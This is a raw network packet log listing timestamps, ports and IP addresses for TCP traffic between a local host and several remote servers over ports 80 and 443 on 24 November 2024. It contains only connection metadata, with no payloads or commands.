Nov 24, 2024 23:24:48.955393076 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:48.955516100 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:48.955526114 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:48.955616951 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:48.959456921 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:48.959525108 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:48.961203098 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:48.961302042 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:48.961316109 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:48.961364031 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.037502050 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.037597895 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.037662029 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.037717104 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.041749954 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.041810989 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.041856050 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.041901112 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.050030947 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.050142050 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.050201893 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.058423996 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.058518887 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.058532000 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.058583975 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.066962004 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.067019939 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.067040920 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.067270041 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.075154066 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.075213909 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.075241089 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.075330973 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.083539963 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.083619118 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.083667040 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.083719969 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.091916084 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.092012882 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.092036963 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.092097044 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.099565029 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.099647045 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.099652052 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.099705935 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.107228994 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.107368946 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.107369900 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.107414961 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.115185976 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.115262985 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.202054977 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.202151060 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.202245951 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.202295065 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.206099987 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.206160069 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.238991022 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.239057064 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.239130974 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.241465092 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.241667032 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.241724968 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.241770983 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.246583939 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.246653080 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.246731043 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.246787071 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.361129999 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.361226082 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.366137981 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.366159916 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.366173029 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.366230011 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.366230011 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.480791092 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.480994940 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.485531092 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.485546112 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.485611916 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.485613108 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.485660076 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.485815048 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.600666046 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.600694895 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.600722075 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.600733995 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.600745916 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.600761890 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.600774050 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.600794077 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.600814104 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.600862026 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.600898981 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.600910902 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.600913048 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.600939035 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.600950956 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.600963116 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.600970030 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.600996017 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601016045 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601051092 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601063967 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601110935 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601196051 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601207972 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601219893 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601233959 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601241112 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601247072 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601253033 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601284027 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601301908 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601336002 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601356983 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601367950 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601380110 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601382971 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601392984 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601406097 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601408958 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601408958 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601418972 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601433992 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601442099 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601443052 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601444960 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601459026 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601470947 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601480007 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601485014 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601500988 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601532936 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601567030 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601578951 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601591110 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601603031 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601625919 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601629019 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601639986 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601653099 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601653099 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601666927 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601671934 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601680994 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601694107 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601706982 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601716042 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601728916 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601739883 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601751089 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601752043 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601777077 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601780891 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601794004 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601798058 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601798058 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601808071 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601823092 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601823092 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601835966 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601843119 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601850033 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601861954 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.601876974 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601891041 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.601902962 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.602046013 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.602066994 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.605281115 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.605350971 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.606532097 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.606601000 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.606693983 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.606868982 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.606933117 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:49.607212067 CET	443	49889	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:49.607460022 CET	443	49887	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:49.608031988 CET	49886	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:49.608072996 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:49.608928919 CET	49886	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:49.608942986 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:49.609924078 CET	49889	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:49.609949112 CET	443	49889	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:49.610651016 CET	49889	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:49.610656023 CET	443	49889	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:49.610853910 CET	49887	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:49.610877991 CET	443	49887	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:49.611361980 CET	49887	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:49.611367941 CET	443	49887	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:49.641580105 CET	443	49888	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:49.641947985 CET	49888	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:49.641961098 CET	443	49888	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:49.642374039 CET	49888	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:49.642379045 CET	443	49888	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:49.713026047 CET	443	49884	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:49.713057041 CET	443	49884	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:49.713121891 CET	49884	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:49.713129997 CET	443	49884	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:49.713160992 CET	443	49884	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:49.713191032 CET	49884	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:49.713648081 CET	49884	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:49.713661909 CET	443	49884	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:49.713670015 CET	49884	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:49.713814974 CET	443	49884	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:49.713850021 CET	443	49884	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:49.713906050 CET	49884	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:49.721570969 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.721601009 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.721656084 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.721698999 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.723993063 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.724061012 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.724112988 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.724164009 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.729020119 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.729085922 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.729139090 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.729187965 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.734086037 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.734184980 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.734205961 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.734257936 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.737375021 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.737442017 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.737557888 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.737603903 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.740686893 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.740748882 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.740806103 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.740957975 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.744024992 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.744088888 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.744132996 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.744184017 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.747365952 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.747432947 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.747479916 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.747545004 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.750750065 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.750813007 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.750854015 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.750910997 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.754072905 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.754138947 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.754189968 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.754249096 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.757440090 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.757510900 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.757601023 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.757641077 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.760742903 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.760804892 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.760829926 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.760931969 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.764097929 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.764159918 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.764210939 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.764266014 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.767436981 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.767492056 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.767496109 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.767544031 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.770793915 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.770850897 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.770911932 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.770963907 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.774122000 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.774184942 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.774231911 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.774282932 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.777477026 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.777534008 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.777575016 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.777626991 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.780829906 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.780884027 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.781279087 CET	49892	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:49.781349897 CET	443	49892	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:49.781440973 CET	49892	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:49.781655073 CET	49892	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:49.781677008 CET	443	49892	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:49.782480955 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.782550097 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.782586098 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.782651901 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.785805941 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.785866022 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.785873890 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.785919905 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.789182901 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.789242029 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.789640903 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.789748907 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.792515039 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.792579889 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.792666912 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.792722940 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.795852900 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.795938969 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.795955896 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.796066046 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.799190998 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.799252033 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.799294949 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.799386978 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.802535057 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.802591085 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.802635908 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.802683115 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.805859089 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.805917978 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.805948019 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.806000948 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.809241056 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.809297085 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.809452057 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.809564114 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.812592030 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.812645912 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.812693119 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.812747002 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.815905094 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.815989017 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.816023111 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.816082001 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.819258928 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.819333076 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.819366932 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.819425106 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.822599888 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.822670937 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.822716951 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.822762012 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.825920105 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.825974941 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.826101065 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:49.826153994 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:49.829379082 CET	80	49885	185.215.113.16	192.168.2.5
